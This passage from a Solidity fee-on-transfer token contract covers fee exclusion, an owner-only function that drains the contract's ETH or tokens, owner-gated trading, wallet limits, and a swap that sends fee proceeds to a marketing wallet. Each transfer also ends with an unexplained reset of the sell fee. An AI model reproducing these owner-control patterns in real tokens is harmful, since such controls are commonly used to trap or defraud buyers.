        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function withdrawStuckTokens(address tkn) public onlyOwner {
        if (tkn == address(0)) {
            bool success;
            (success, ) = address(msg.sender).call{value: address(this).balance}(
            ""
            );
        } else {
            require(IERC20(tkn).balanceOf(address(this)) > 0, "No tokens");
            uint256 amount = IERC20(tkn).balanceOf(address(this));
            IERC20(tkn).transfer(msg.sender, amount);
        }
    }
 
    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
 
        emit SetAutomatedMarketMakerPair(pair, value);
    }
 
    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
 
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
 
        if (
            from != owner() &&
            to != owner() &&
            to != address(0) &&
            to != deadAddress &&
            !swapping
        ) {
            if (!tradingActive) {
                require(
                    _isExcludedFromFees[from] || _isExcludedFromFees[to],
                    "ERC20: Trading is not active."
                );
            }
 
            //when buy
            if (
                automatedMarketMakerPairs[from] &&
                !_isExcludedMaxTransactionAmount[to]
            ) {
                require(
                    amount <= maxTransactionAmount,
                    "ERC20: Buy transfer amount exceeds the maxTransactionAmount."
                );
                require(
                    amount + balanceOf(to) <= maxWallet,
                    "ERC20: Max wallet exceeded"
                );
            }
            //when sell
            else if (
                automatedMarketMakerPairs[to] &&
                !_isExcludedMaxTransactionAmount[from]
            ) {
                require(
                    amount <= maxTransactionAmount,
                    "ERC20: Sell transfer amount exceeds the maxTransactionAmount."
                );
            } else if (!_isExcludedMaxTransactionAmount[to]) {
                require(
                    amount + balanceOf(to) <= maxWallet,
                    "ERC20: Max wallet exceeded"
                );
            }
        }
 
        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;
 
        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }
 
        bool takeFee = !swapping;
 
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
 
        uint256 fees = 0;
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForFees = fees;
                
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForFees = fees;
            }
 
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
 
            amount -= fees;
        }
 
        super._transfer(from, to, amount);
        sellTotalFees = previousFee;
    }
 
    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
 
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForFees;
        bool success;
 
        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }
 
        if (contractBalance > swapTokensAtAmount) {
            contractBalance = swapTokensAtAmount;
        }
 
        swapTokensForEth(contractBalance);
 
        tokensForFees = 0;
 
        (success, ) = address(marketingWallet).call{
            value: address(this).balance
        }("");
    }
}